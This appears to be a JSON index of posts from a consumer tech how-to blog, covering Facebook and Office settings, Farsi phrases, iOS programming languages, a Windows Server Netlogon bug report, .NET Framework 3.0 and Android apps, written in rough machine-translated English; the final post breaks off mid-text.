Settings \u0026amp; Privacy (Settings \u0026amp; Privacy, then select Settings.) Scroll down and select Apps and Websites. Find the Logged in with Facebook option and click Edit to open the menu. Scroll down to the Spotify app in the Active section (the application is linking). Check the Spotify application and click Remove.   Guide to designing cover style photos for playlist Music Spotify Again, you will see Facebook warning that this action can delete your Spotify account. Don't worry about this warning, go ahead and click Remove to finish disconnecting Spotify from Facebook.\nEnjoy privacy with Spotify After removing the Spotify link from your Facebook account, the quick login feature through your Facebook account will no longer be available. However, at the very least, you will enjoy the music on Spotify without worrying about personal privacy issues. Sometimes, in order to gain privacy and security, you must accept some inconvenience!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYysp6ismZvGbrLRqKRmsZ%2Bqv26ywJycm6efoHqir8KorKes\n","link":"/post/how-to-remove-spotify-from-your-facebook-account/","section":"post","tags":null,"title":"How to remove Spotify from your Facebook account"},{"body":" Farsi, also known as Persian, is spoken by around 110 million people around the world and is the official language of Iran, Afghanistan (where it is known as Dari), and Tajikistan (where it is known as Tajiki). The language is also spoken...\nMethod 1of 3:\nAdding Essential Vocabulary  Start with baleh and nakheyr for \"yes\" and \"no.\" These are 2 of the most basic words in any language, and essential if you're navigating in an area where Farsi is spoken. If someone offers you something, add \"thank you\" to the end by saying nakheyr, mamnūnam.[2] Be careful using these words if you don't completely understand what the person said. You might try man nemidânam (I don't know) or nemifahmam (I don't understand). Tip: When speaking casually to people you know or people your own age, you can shorten nakheyr to na.\n  Learn the days of the week. If you're traveling, you'll need to know the days of the week so that you know when to be somewhere or when you need to check out of your lodging.[3] Sunday: yek shanbe یکشنبه Monday: doshanbe دوشنبه Tuesday: seh shanbe سه شنبه Wednesday: chehāreshenebeh چهارشنبه Thursday: panj-shanbeh پنج شنبه Friday: jom'e جمعه Saturday: shanbe شنبه   Pick up other words to describe dates and times. You're not always going to use the day of the week to tell someone when something happened or is going to happen. You might want to say deeRooz (yesterday), emRooz (today) or farad (tomorrow).[4] The word for day is Rooz (روز.) If something happened in the morning, you would use the word sobh (صبح). The word for evening is asr (عصر), while the word for night is shab (شب). You might also use hālā (حالا), which means \"now,\" or ba'dan (بعداً), which means \"later.\"   Count to 10 in Farsi. Counting to 10 is one of the first things you typically learn in any language. To count from 1 to 10 in Farsi, say yek, do, se, chahaar, panj, shesh, haft, hasht, noh, dah.[5] Ordinals are also important, especially if people are talking about dates. Nokhost (نخست) means \"first,\" doovom (دوم) means \"second,\" and sevom (سوم) means \"third.\"  Method 2of 3:\nMaking Basic Conversation  Use Salam (سلام) to say \"hello\" in most settings. The word \"Salam\" literally translates to \"peace\" and is used as a general greeting throughout the Muslim world. This greeting is appropriate to use with anyone, at any time of day.[6] Another common greeting in Farsi is dorood (درود). This is an older, more traditional greeting that means \"hello.\" If you're greeting someone who is entering your home, you might also say Khosh amadid! (!خوش آمدید), which means \"welcome.\" Greetings for Specific Times of Day:\nGood morning: Sobh bekheyr! (!صبح بخیر)\nGood evening: Asr bekheyr! (!عصر بخیر)\nGood night: Shab bekheyr! (!شب بخیر)\n  Ask Haleh shoma chetor ast? (حال شما چطور است؟) for \"How are you?\" After saying \"hello,\" it's common in Persian cultures to ask after the other person's well-being. If the other person asks you first, you might reply Man khoobam (.من خوبم), which means \"I'm doing well.\"[7] If you're talking to a close friend or someone your age or younger, you might try Halet chetore? (چطوری؟), which is a very informal, similar to saying \"What's up?\"   Introduce yourself by saying Esme man... ast (.اسم من است). To tell the person your name, say \"Esme man,\" then your name, followed by \"ast.\" For example, if your name is Sarah, you would say \"Esme man Sarah ast.\" To ask the other person's name, say Esme shoma chist?[8] When the other person tells you their name, you might say Az molaaghat e shoma khosh-bakhtam. (.از ملاقات شما خوشبختم), which means \"nice to meet you.\" You can also simply say \"khoshbakhtam.\"   Explain that you only speak a little Farsi. If you're just learning Farsi but still want to have a conversation, you might say Farsim xub nist (فارسیم خوب نیست), which means \"I can't speak Persian/Farsi well.\" You might also say mishe ahesteh tar sohbat konid or \"please speak more slowly,\" if you're having trouble understanding the person.[9] You could add nemifahmam (نمي فهمم), which means \"I don't understand.\" If you would feel more comfortable talking in English, you might ask Engelisi yâd dâri? (انگلیسی یاد داری؟) or \"Do you speak English?\"   Express your gratitude by saying mamnūnam (ممنونم) for \"thank you.\" This is a relatively formal way to say \"thank you\" in Persian. Persians also say merci, like the French. However, this is considered a more casual expression.[10] If the person thanks you, reply khahesh mikonam(خواهش مي كنم), which means \"you're welcome.\" Other polite words in Farsi include moteassefam (sorry), lotfan (please), and bebakhshid (excuse me).   End a conversation with bedrood (بدرود) for \"goodbye.\" When you're ready to part ways, this is a basic way to say \"goodbye.\" You could also say khoda hafez (خدا حافظ), which also means \"goodbye.\"[11] In the morning, you might also say Rooze khoobi dashteh bashid! which means \"Have a nice day!\"[12] If the person continues to talk to you, you might say man bayad beravam, which means \"I have to go.\"[13]  Method 3of 3:\nAsking for Help  Start with Bebakgshid to get someone's attention. This word means \"excuse me,\" and is the polite way to get someone's attention before asking them a question. Then you might say Aya mitavanid be man komak konid?, which means \"Can you help me?\"[14] You might also say Man ahle inja nistam if you want to tell the person \"I'm not from here.\"   Use man komak niaz daram to ask pointedly for help. This phrase literally means \"I need help,\" so if you have a problem, saying this will alert them. However, you should probably be prepared to explain your problem in Farsi. Otherwise, ask Aya shame Engilisi? or \"Do you speak English?\"[15] You might also say Komakam kon! which means \"Help me!\" Save this for times when something more serious is going on – not for times when you just need to ask directions or find the restroom.   Get directions if you're lost. It can be hard to get around in an unfamiliar place, especially when all the signs are in a language you're just starting to learn. Say Man gom shodeham to tell someone that you are lost. Then show the person where you want to go. Having a written name, map, or photo can help.[16] If the place you're looking for is nearby, you might say Aya mitavanid be man neshan dahid? which means \"Can you show me?\" If you just want to know where the nearest bathroom is, ask dashtshuee kojast? It's generally best to ask someone who is the same gender as you.   Say man mariz hastam (من مریض هستم) if you feel sick. This phrase lets those around you know that you're not feeling well. If you're really bad off, you might also say Man be doktor niaz daram, which means \"I need a doctor.\"[17] In an emergency situation, you might say Doktor ra seda konid! (Call a doctor!) or Ambulance ra seda konid! (Call an ambulance!). Tip: If you're in an emergency situation and don't feel comfortable describing your needs in Farsi, say Injâ kasi Engelisi midânad? which means \"Is there someone here who speaks English?\"\n  Isabella Humphrey Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquRrnquu9KtZJynnaK8r3nWqKmdq12eu26ywKuqog%3D%3D\n","link":"/post/how-to-say-most-common-words-in-farsi/","section":"post","tags":null,"title":"How to Say Most Common Words in Farsi"},{"body":"Posting feature on Facebook Fanpage is one of the extremely important and useful features, so that Admin as well as Administrator can post to Fanpage without directly sitting in front of the computer. We can select the post time frame at any time, or edit the scheduled posts on Fanpage, or delete the scheduled post easily.\nNote to current readers Facebook is gradually applying a new interface for personal Facebook and Facebook Fanpage. So the posting time on Facebook Fanpage will have a few other actions than the old Facebook Fanpage interface.\nHow to schedule personal Facebook posts Do you know how to add the date and time to Facebook status? How to use videos to make Facebook Fanpage cover photos 1. Post new Facebook interface Fanpage timer Step 1:\nYou access the Facebook Fanpage page under management and click on the post frame. First of all, you can edit the post content, insert emoticons, . like when posting a normal Facebook status.\n  Step 2:\nScroll down to the bottom and you will see the Message board, click on the Post options section.\n  In the Share section click on the drop down arrow icon to display more options list, we click on the Schedule section.\n  Step 3:\nChoose the time you want to schedule a post on the Facebook Fanpage. Note to the user, the post scheduling needs more than 10 minutes from the current time. Then click the Schedule button .\n  Step 4:\nGo back to the postings interface on Facebook Fanpage, tick the News Feed section and then click the Schedule button to finish.\n  Step 5:\nAt Facebook Fanpage interface you will see the scheduled posts. If you want to edit those posts, click the View article button.\n  Step 6:\nClick on the article you want to edit. Here the user clicks on the arrow icon and will display options to edit the scheduling time. If you click on the Edit button, you can edit the content for the Facebook Fanpage post.\n  2. Post timed up to Fanpage old interface Posting on Fanpage is not complicated, just copy the link to share and paste it into Status , edit the title accordingly and click Publish :\n  So in case you want to post in a timed manner, such as 1 hour posting 1 post, or posting at midnight, what should you do early in the morning? In fact, Facebook Fanpage has supported the posting timer feature that few people pay attention to. Do you see the next arrow button Publish?\n  When you click on it, we will see the Schedule function to schedule the display. Choose the appropriate time to post your wish. UTC + 07 is Vietnam time zone, hours are divided into hours (AM) and pm (PM). You can only schedule posting in the future, if you want to set a posting time at a time in the past, you must schedule it first and then edit it again.\n  Choose the time now, then you press the Schedule button to schedule.\n3. Delete Facebook timer post For some reason, you don't want to schedule a post, while you've missed the schedule, how should you handle it? Go to Publishing Tools\u0026gt; Scheduled Posts (usually in the form of https://www.facebook.com/ (Fanpage name) / publishing_tools /? Section = SCHEDULED_POSTS ):\n  Click on the link of the article you want to edit:\n  Publish : display now. Remove Schedule : delete the timed schedule that displays the lesson. Reschedule : Reschedule . Backdate : displayed on Timeline at different times in the past. Delete : delete, of course! Hopefully the above information can help you more in managing Fanpage on Facebook.Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquTnbKlwcueZKmno6m2r7OMraZmnpGjvaKzxGamp2WWlrCmrs6oog%3D%3D\n","link":"/post/how-to-schedule-posting-to-fanpage-on-facebook/","section":"post","tags":null,"title":"How to schedule posting to Fanpage on Facebook"},{"body":"To share images on Facebook, or any website, you can use the image URL, or download the image to send via different services. And if you want to share faster, you can use Shift Click Image Extractor, a utility that not only helps to share quickly, but also offers many other options.\nAccordingly, Shift Click Image Extractor creates a separate interface with the content of copy URL, search for similar images, download images in webp format, or manage all images that you have shared. The following article will guide you how to share images with Shift Click Image Extractor.\nThe 15 best photo hosting and sharing websites 2019 How to use img.onl to share photos for free How to get image embed codes on Google Photos How to transfer Facebook photos to Google Photos Instructions for using Shift Click Image Extractor Step 1:\nClick on the link below to install the Shift Click Image Extractor utility on Chrome.\nDownload the Shift Click Image Extractor Chrome extension   Step 2:\nGo to any website and right click on the image, select Shift Click it .\n  Step 3:\nImmediately afterwards the image was moved to a new interface with various content with options on the left side of the screen. To share photos just click on the link. The site also has the option to share images on social networking sites, including Facebook, Twitter, Pinterest, Tumblr. To download the image, click Download in the left side of the screen option.\n  You can also find other content related to the image by clicking Other sizes. Now we will be transferred immediately to the interface on Google to have more content related to images.\n  Step 4:\nThe images have been shared via Shift Click Image Extractor, you can manage according to the link below.\nhttps://shft.cl/history    With the Shift Click Image Extractor utility, sharing images has more options, the recipient of the link can find more information related to the image.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2Bmec%2Bhpq2no2K%2BtrXCpKOyZaeewal50qGgn6xdmLmqr8pmoKaZl5p6psTTq5icrJ%2Bn\n","link":"/post/how-to-share-photos-quickly-with-shift-click-image-extractor/","section":"post","tags":null,"title":"How to share photos quickly with Shift Click Image Extractor"},{"body":"While working with Microsoft Office to save time when creating new documents, you can set the default font for all text files. The following article details how to install default fonts in Word, Excel and PowerPoint.\n1. Set the default font in Word Step 1: Open the Word software -\u0026gt; select the HOME tab -\u0026gt; click the arrow in the Font section .\n  Step 2: A dialog box appears, select Font in Font , font type in Font Style , font size in Size . Also you can choose the font color and dash style and some other effects. After setting the default style for text, click Set as Default .\n  Step 3: A dialog box appears and select All documents based on the Normal template -\u0026gt; OK .\n  So you have set the default font for all your text files without spending time setting the font when starting a file.\n2. Set the default font in Excel Step 1: On the card File -\u0026gt; Options .\n  Step 2: Select the General tab -\u0026gt; select the font in the Use this as the default section , the font size in the Font size section -\u0026gt; click OK to complete.\n  Please restart Excel to check.\n3. Set the default font in PowerPoint Step 1: Open the PowerPoint software -\u0026gt; VIEW -\u0026gt; Silde Master .\n  Step 2: Click the section you want to install the font. For example, want to set the default font for the section Click to edit Master title style -\u0026gt; Select the HOME tab -\u0026gt; select the font in Font Style and font size in the Size section .\n  Step 3: Click Click to edit Master text styles to set the default font. Click the HOME tab -\u0026gt; select font in Font Style and font size in Size .\n  Step 4: After selecting the default font on the card VIEW -\u0026gt; Normal .\n  Step 5: On tag File -\u0026gt; Save As .\n  Step 6: In the Save As dialog box, name the Blank file , select the PowerPoint Template -\u0026gt; Save file type .\n  In case, if there is already a Template, the Replace dialog box appears , select Yes .\n  Finally, restart PowerPoint font and font size as you set the default.\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZSas6LBy61kn6eeqcButc1mrqiqlGKyua%2FEpWSappRivbDDxKunqKGeqQ%3D%3D\n","link":"/post/instructions-for-installing-default-fonts-in-word-excel-and-powerpoint/","section":"post","tags":null,"title":"Instructions for installing default fonts in Word, Excel and PowerPoint"},{"body":"Beyond this, software programmers tend to make a pretty decent salary, with the median annual pay being just over six figures. This is three times higher than the median pay for workers in the United States.\nGiven all these stats about the field of software programming, it's no surprise many people are interested in getting involved in the world of programming. In particular, people who have come to love using iOS apps are looking to work on building them.\n  The basics of someone's programming abilities lie in their understanding of programming languages. There are several different languages that are each focused on specific tasks and companies, and more often than not, hyper-successful programmers are familiar with more than one programming language.\nThe following will explore some of the more popular languages for programming iOS apps in 2021. Keep in mind that if you are looking to program something particular, you should research the requirements for that task before choosing which language to learn. It's also worth noting that if you have features involving computer programs or other algorithms, you might want to use multiple languages.\nSwift Swift is the language used by Apple for developing applications for Mac computers and Apple mobile devices like the Apple Watch, iPhone, and iPad. Given that Swift is a newer programming language, many consider its syntax highly readable and find that it runs code quickly.\nThe drawbacks of Swift are that it won't work with older applications as you can only use it on newer versions of iOs 7. It works for programming:\nmacOS iOS iPadOS watchOS tvOS Moreover, given that it is newer, there are fewer resources available for programmers starting out and learning the language. This being said, if you look, you will be able to find Swift design patterns and other assistance online. If you find yourself skilled with Swift, you can compile what you know and write an article or two for sites that are looking for this kind of content.\nThe benefits of choosing Swift include that it is available as an open-source project. It also has great scalability, and as mentioned above, it is easy to use. It has decent interoperability as it works with Cocoa, Cocoa Touch, and with codebases programmed using Objective-C for Apple products. The updates are regular, and the development process is on the faster side. In addition, the program is considered stable and secure.\nGiven all these benefits, Swift has become a popular programming choice. The language is among the top 20 most popular programming languages in the world, used by somewhere near 5.9% of developers globally—people in particular love how easy it is to expand Swift programming later on if this is needed.\nObjective-C (From The C Family Of Languages) Objective-C is a programming language that was developed to serve as an extension of the C programming language with object-focused programming possibilities. The language was developed in the 80s at the software company Stepstone by Brad Cox and Tom Love. Objective-C has multiple applications, but it is mostly used for programming for Apple's operating systems including OS X, iOS and the APIs Cocoa and Cocoa touch. As mentioned above, this means that there is the possibility of using Objective-C in tandem with Swift if you feel you need to.\nThe benefits of Objective-C include the dynamic typing as well as the stability and maturity of the language, meaning there are lots of guides and supports options available. This being said, the language, like C and C++, which it is an expansion of, is hard to learn. Moreover, there is a lower level of security and limited functionality. As well, because Swift is the 'newer' Apple language, there tends to be a lack of updates for Objective-C. Further, the programming language is not available in open-source.\nSometimes programmers want to know if they need to learn C first before learning Objective-C. You do not need to; both can be learned at the same time. This being said, C is among the languages that are considered a good foundation for programming learners. It's one of the first languages developed, and as such, it served as the foundation for many modern languages. It's very easy to apply to debugging, testing, and maintenance. C++ is an extension for C that is designed for programming systems that run applications rather than the applications themselves.\nC# (From The C Family Of Languages) C# is another language extension on the original C that you might encounter while working with Objective-C. This branch of the language is designed to be more straightforward and speedier. Moreover, it is one of the most in-demand programming languages in the world, so it wouldn't hurt to make a note of C# as you're working within the C family. All of these C-family languages are built on the same framework, so similar to learning languages in the Romance-language tree, you'll find knowing one makes it easier to understand the others.\nC# is a speedier and more secure divergent of the C language developed by Microsoft. This language is fully integrated with Microsoft's .NET software framework, and this means that the language is well suited to developing applications for Windows, mobile devices, and browser plug-ins.\nThe benefits of this programming language include automatic garbage collection, high speed and performance, cross-platform support systems, a fantastic and supportive community (with a huge talent pool if you find you need help). It's popular, open-source, scalable, updateable, easy, and contains a rich library.\nThe drawback of C# is that it's one of the more difficult languages to learn. This means it often takes longer to master than other coding languages, and figuring out how to resolve errors can be a challenge for newcomers to the language. In addition, as mentioned above, it is based on the Microsoft .NET framework, so it's not as flexible as some of your other options.\n  Java Java is often linked with client-server application development and so is used by large businesses around the world. It is known for being able to run on a wide variety of platforms, as anywhere that supports Java can run Java code. This language is among the 16 most popular programming languages being used today and is language-oriented. This general-purpose option is class-based and used by over 9 million programmers across the world.\nThe pros of choosing Java to work with start with its flexibility. It is also highly functional, with a huge community and giant talent pool. The language is open-source and suited for native and cross-platform development. It is updatable, scalable, and secure, and also as automatic garbage collection.\nThe drawback of Java is that it's not suited to run on the cloud instead of a server, which many business applications need. The language is also type-heavy and requires an intense amount of memory space.\nThe above programming languages can all be used to develop iOS apps. When making your choice be sure to analyze the different features you'll need as well as your particular skill level to help you decide which language to learn.\nncG1vNJzZmismaXArq3KnmWcp51kvbO7xquYpqWZo7RuuMCnnq6Zl5rAbsXOrmSnnZWZerW7jKWcmqqeYsGwecOerZ6kn6V6qrvSZpipqKM%3D\n","link":"/post/programming-languages-you-need-to-learn-to-develop-ios-apps/","section":"post","tags":null,"title":"Programming Languages You Need to Learn to Develop iOS Apps"},{"body":"After being captured and put on a boat, the large-sized octopus was looking around and trying to find a way to escape to the sea through a hole.\nSpider crabs compete to tear the octopus's corpse under the sea The blue-spotted octopus has 50 times more venom than a cobra that kills people in an instant Let's review the process of the giant octopus escaping from the boat through a small hole knowing its defection is successful.\nOctopus is a clever marine creature and contains many interesting mysteries. They have full body soft and no bones inside. This feature has helped it escape successfully.\nncG1vNJzZmismaXArq3KnmWcp51kwLGxwq2YnK2clr9usdKcmKmdXaiws7HEp2Sonl2ctqK602amnKyfpcK0edOhqaitl516tLnApaNmoJ%2BhsrQ%3D\n","link":"/post/spectacular-escape-screen-of-giant-octopus-through-small-holes/","section":"post","tags":null,"title":"Spectacular escape screen of giant octopus through small holes"},{"body":"In recent days, on Twitter is spreading about a new trick that can turn AirPod and iPhone into eavesdropping devices. Specifically, turning on the live listening feature on the iPhone and placing it in the room, you can hear even standing far away through the pair of AirPod wireless headphones.\nSome people are afraid of this feature and claim that the iPhone with the ability to be used as a spy device can cause many problems. People posting this information on Twitter also claim that it may be to cheat on exams.\n  Twitter sharing lines confuse netizens.\nIn fact, this is the built-in Live Listen feature on the iPhone to turn AirPod into a close-range hearing enhancer for deaf people and it can't be used to spy like everyone thinks.\n  After turning on the Live Listen feature and directing the iPhone microphone towards the person you want to hear. Sound will be transmitted via Bluetooth to help deaf people hear what they say through hearing aids or AirPod.\n  This is a useful feature for those who need to hear better in a noisy environment.\nTo enable Live Listen on iPhone, you can refer to the article How to enable Live Listen mode on AirPods.\n  See more:\n14 games on the App Store contain malicious code, iPhone users be careful iPhone XI (2019) will have a square, convex 3 camera system on the back? Improved iPhone screen of former Apple engineer makes Apple also 'crave' ncG1vNJzZmismaXArq3KnmWcp51kwamxjK2prqyYYq6ju9StZK2glWK2sbTOp5ysZaOlxm6yxJqrrqqVYq6vsIytn55lkZ6%2FsbvDrGSmmZuawG66xK2gs52eqHqku82frKydlA%3D%3D\n","link":"/post/the-truth-about-the-iphone-s-spy-feature-and-the-airpods-makes-netizens-confused/","section":"post","tags":null,"title":"The truth about the iPhone's 'spy' feature and the Airpods makes netizens confused"},{"body":"Netlogon is a remote procedure call (RPC) interface and Windows Server process that authenticates services and users on Windows domain-based networks.\nAffected applications or network devices, such as the Riverbed SteelHead WAN Optimizer, may experience problems with domain joins or limitations after joining a Windows domain.\nAccording to Microsoft, \"situations that rely on a Read-only domain controller (RODC) or a general RODC machine account may not be able to establish a Netlogon secure channel.\" On affected devices, the RODC account must have an associated and compliant KRBTGT account in order to successfully establish secure Netlogon channels.\n\"To fix this issue, affected apps and network devices will need an update from their developer or manufacturer.\" Microsoft shared.\n  Affected versions of Windows Server include:\nWindows Server 2022 Windows Server 2019 Windows Server 2016 Windows Server 2012 R2 Windows Server 2012 Windows Server 2008 R2 SP1 Windows Server 2008 SP2 Microsoft and Riverbed are currently investigating this issue and will update as soon as new information becomes available.\nTwo weeks ago, Microsoft also fixed a Windows Active Directory bug that also appeared after rolling out the January updates. This issue affects .NET applications when purchasing or setting up Active Directory Forest Trust Information .\nLast month, Microsoft also released a series of emergency updates to address many of the issues caused by the January 2022 Patch Tuesday updates.\nFixed issues include Windows Server Domain Controllers restart issues, VPN connection issues, Virtual Machines failure issues, and ReFS formatted drives failing to handle errors.\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGWjmr%2B3sdFmoZqmpZa%2FunnUqZuarJVisKLB0p6qZqaVqbmws86nZJ6qoqS%2F\n","link":"/post/windows-server-january-update-causes-netlogon-error/","section":"post","tags":null,"title":"Windows Server January Update causes Netlogon error"},{"body":"At the end of May 2006, Microsoft unveiled the beta version of Windows Vista with a number of models and tools for developing Windows applications such as .NET Framework 3.0 (formerly known as WinFX), Office 2007 . In The .NET Framework 3.0 related tools are of particular interest to software developers. As planned, the official version of the .NET Framework 3.0 will be announced in November 2006. This article desires to give you a basic look at the .NET Framework 3.0 announced by Microsoft as the 3rd generation after Win16 and Win32. Current programming model on Windows \n Before studying the .NET Framework 3.0, let's review the current Windows software development model. There are two types of applications: desktop application (WinForm) and web application (WebForm). When developing a software, we have to choose one of these two types of applications that cannot be shared or shared. With desktop applications according to the client-server model, the components of the program are installed on the server (server) and client (client). When there is any change in the client side, we must reinstall that component for each client. As for web applications, just install on the server side, the client will access through the URL, however, the browser is the only tool that we can use to access the web application, it is inconvenient! The question is, is there any way to write an application that can run as a desktop application, as well as a web application? This problem has been posed for a long time but until recently Microsoft has implemented a new programming model - the .NET Framework 3.0 - to help solve the problem. With this model, we can write a web application that allows the client on the client side to use without the browser or a desktop application used by web users. .NET Framework 3.0 programming model .NET Framework 3.0 is a programming model with \"managed code,\" built and extended based on the .NET Framework 2.0, which not only solves the problem of software development problems. but also helps create software and services that current technology cannot do. It helps programmers and designers can create applications with more features that are more reliable, more secure, smarter, and aesthetically easier to deploy . We can look at the .NET Framework 3.0 in two ways: • In terms of functions , the .NET Framework 3.0 has 3 function blocks: Presentation; Data (Data); Communication (Communication). • Technically , Microsoft now introduces 4 new and most prominent techniques: Windows CardSpace (InfoCard), Windows Presentation Foundation (Avalon), Windows Communication Foundation (Indigo), Windows Workflow Foundation (Workflow). Microsoft decided to use the .NET Framework 3.0 for Windows Vista but also supported Windows XP (SP2) and Windows Server 2003 (SP1). Here we will learn each function in turn.\n  Windows CardSpace (InfoCard) InfoCard is a new technology in the .NET Framework 3.0, which makes it easy and safe to use and share personal information on the Internet. InfoCard helps web users no longer have to worry about remembering too many \"username\" (username) and \"password\" (passwords) when accessing the web. In addition, InfoCard also allows creating secure user account management web applications. Imagine you sign up for an account in Yahoo, one of Google and a member of three forums. Each place you have to have a username and password, so you have to remember 5 usernames and 5 passwords. Not to mention that you have to remember the name and password using a computer, use some software on your computer. What a headache? Or do you want to register as a member of a web service to exploit data from this website. Often you will have to fill out some personal information on the registration form website. Now you do not need to do that, just give a code (you can use this code at any site that requires), then the site automatically links to another website posting information yours. If valid, you can be a member right away without typing a password or reporting any more information, it is InfoCard. Thus, the InfoCard helps you have a code that looks like an online identity card. Wherever you go on the internet, keep saying: my \"ID\"! Windows Presentation Foundation (Avalon) \n Avalon can be seen as a unified demonstration system used to design the user interface in the .NET Framework 3.0. The system consists of two parts, one is the interface for expressing the interface, the other is the set of tools that help software developers create the best graphic and multimedia applications. In .NET, we already have a great user interface environment, WinForm for desktop applications and WebForms for web applications, so why is there another user interface environment to do? Today, most of us have noticed that the look and interface of desktop applications is more outdated than web applications. Desktop applications must always use standard tools. In order for these controls to be more vivid, programmers have to spend a lot of effort redesigning them. From Win16, Win32 has GDI graphics library, then GDI +. If you want to work with graphics better, programmers can use DirectX. Whereas with Avalon, we will have a great generation of graphics programming including GDI and support 3D graphics, animation, video, audio processing and recognition . In the current programming model, the programmer is usually the interface designer, but for Avalon, the interface designer can create an independent interface while the programmer only needs to write the code below. . Windows Communication Foundation (Indigo) Indigo is one of three parts of the .NET Framework 3.0, which covers all of the distributed programming techniques and is therefore highly expected from software developers. Up to now, there are many techniques for distributed systems such as ASP.NET Web Services (ASMX), Web Service Enhancements (WSE), Microsoft Message Queue (MSMQ), Enterpise Services / COM + and .Net Remoting. In particular, each technique has its own advantages and disadvantages. Each type will fit a certain distributed application. However, when deploying a distributed application, software developers cannot choose many techniques. The introduction of Indigo, which encapsulates most of the functions of each of these techniques, makes distributed application development more convenient. Windows Workflow Foundation (WWF) \n WWF helps software developers can quickly deploy applications on Windows. It effectively supports the design of step-by-step workflow applications, according to certain flows. WWF not only simulates stream processing in computer systems but also simulates workflows in real life. Take the example of a supermarket sales. A customer calls the order department, the staff notes some necessary information. Next, this information is passed through the order processing department and transferred to the export and delivery department if stock is available. Delivery when delivery is completed will receive feedback from customers and end the purchase process. How do we write a program to handle this sales process? We need at least one window for employees to enter customer information and a window for order processing and delivery. In these two windows, we have to help users manage in a certain order. The program is not difficult to implement on current programming models. However, with WWF, work will become easier and much faster. WWF offers 3 main features : • Stream processing techniques : this is the basic technology of Windows, currently there are a number of Microsoft products that support thread processing such as Microsoft BizTalk Server, Microsoft Exchange Server. According to the development trend, supporting workflow processing is always part of Windows. • Processing model for many different types of applications : Supporting workflow processing is not limited to simple tasks that support processing complex streams. Moreover, we can divide an overall model into sub-models for processing. • A unified system with actual workflow processing model : Take the example of the above sales job, all the situations that occur during the pre-defined transaction process and what the computer will do. installed. In the meantime, actual transactions always change according to circumstances (for example, customers change orders, add some constraints .) that computer processing flow cannot be performed. . WWF will help us develop software where workflows can be intervened like in real life. Conclude According to experts, the .NET Framework 3.0 will significantly change software development in the near future. This article only covers a general way about the .NET Framework 3.0. Going deeper into each of the above four components is expected to be presented on another occasion.\n  Reference : • http://msdn.microsoft.com/winfx/learning/netfx3faq/default.aspx • http://commnet.microsoftpdc.com/content/downloads.aspx • http://www.microsoft.com/betaexperience/vivn/newsletter.aspx • http://msdn.microsoft.com/winfx/reference/ \u0026nbsp;\u0026nbsp;\nHuu Giang FCGV Company\nncG1vNJzZmismaXArq3KnmWcp51ku6bAjJ%2BpmqWVrLyzt4xsZ2avmaOzuQ%3D%3D\n","link":"/post/net-framework-3-0-winfx/","section":"post","tags":null,"title":".NET Framework 3.0 (WinFX)"},{"body":"Download Kong: Skull Island wallpaper for the Sony XPERIA device, stunning HD quality.\nSkull Island - Kong: Skull Island is creating a craze in Vietnamese action movie enthusiasts. That's because there are so many scenes in the movie that were filmed at famous tourist sites in Vietnam. Professional filming team, excellent image processing techniques, making Vietnamese images on films become extremely majestic and wonderful. You can download the film Island of the skull to the computer to be able to admire once again the extremely impressive images.\nIf you are using the Sony XPERIA, you can download the Kong: Skull Island theme to install it on your phone and computer.\nDownload the theme Kong: Skull Island Some images in the Kong: Skull Island theme set:\n        ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdm7atuYywmKWkoJa9pr6MpKann12ouLa4y2agrKSRo7Fuv8quo6Vlmai5orrDZp2oql2ovK%2FFjLGnnqqZlnqxtM6nnKw%3D\n","link":"/post/download-film-wallpaper-kong-skull-island/","section":"post","tags":null,"title":"Download film wallpaper Kong: Skull Island"},{"body":"Excel formulas, when done with complicated statistics and calculations, are often quite long, and you even have to combine many functions together, so the formula will be much longer.\nIf so, you can use Notepad ++ to edit formulas entered into Excel for easier viewing and making formulas easier. When entering Excel formulas in Notepad ++, there will be additional features of highlighting, highlighting and hinting.\nThe following article will guide you how to set up an Excel input formula in Notepad ++.\nInstructions for making draft formulas in Excel Step 1:\nWe download the Notepad ++ tool in the link below and install it on the computer as usual.\nDownload Notepad ++ software here   Then you download 2 XML files to support editing formulas in Notepad ++, follow the link here.\nStep 2:\nNext, access the folder on your computer under the path C: Program Files (x86) Notepad ++ pluginsAPIs . Next, we will copy the 2 XML files loaded above into this directory.\n  Step 3:\nOpen Notepad ++ software and then click on Language\u0026gt; User Defined Language and then select Define your language .\n  \nNow displaying a new interface, we click the Import . button and then import the copied XLF UDL.xml file into the Notepad ++ APIs directory above.\n  Step 4:\nFinally, restart the Notepad ++ software and then click on Language and select XLF below the list displayed. Then just enter your Excel input formula.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapWadqJiyrXnFqKmmrZyWeqq6jKemrZ2glrFu\n","link":"/post/how-to-create-an-excel-formula-in-notepad/","section":"post","tags":null,"title":"How to create an Excel formula in Notepad ++"},{"body":"The launch of the latest two generations of Samsung phones recently, Galaxy S8 and Galaxy S8 Plus, last week left a deep impression on the world. With owning an eye-catching appearance and lots of new features, Samsung Galaxy deserves a smartphone supremacy in 2017.\nRefer:\nOfficial information about Samsung Galaxy S8, S8 Plus: Price, date of sale, specifications and special features In addition to Galaxy S8 and Galaxy S8 Plus, these are other accessories and products that Samsung has launched in their latest event.   In a lot of changes in style, there is a small change, but it brings a newness to the user, that is changing from square border screen to curved border screen. Although this change has existed previously on LG G6, users are still eager to experience firsthand the curved border screen on Samsung Galaxy S8. Fortunately, there is a way to help Android users experience curved screen borders on mobile phones by changing the display border from square to curved. The following article will show you how to get a curved border display on your Android phone, using the Cornerfly app.\nDownload Cornerfly app to your device\nReference: 6 things about LG G6 phone you may not know\nAllows the app to use the Accessibility service Open the application Cornerfly up after downloading. After that, you will have to agree to allow the application to perform some specific actions by enabling the Accessibility service switch on the screen. Note: For phones with Android 5.0 Lollipop operating system or below, you will have to activate Service overlay on the Cornerfly application screen.   Now the application will automatically open the accessibility service inside your device and display it to a new screen, push the switch on the upper right corner of the screen to On , then press OK . Then press return 2 times and then click the Check icon to finish the installation.   Activate curved screen border display Next, the screen will begin to show you how the application works. Click Skip or Next 2 times to skip.   Here, turn on the switch in the upper right corner of the application screen. At this point you will notice that the display of the device has turned into a curved border.   Adjust the display border 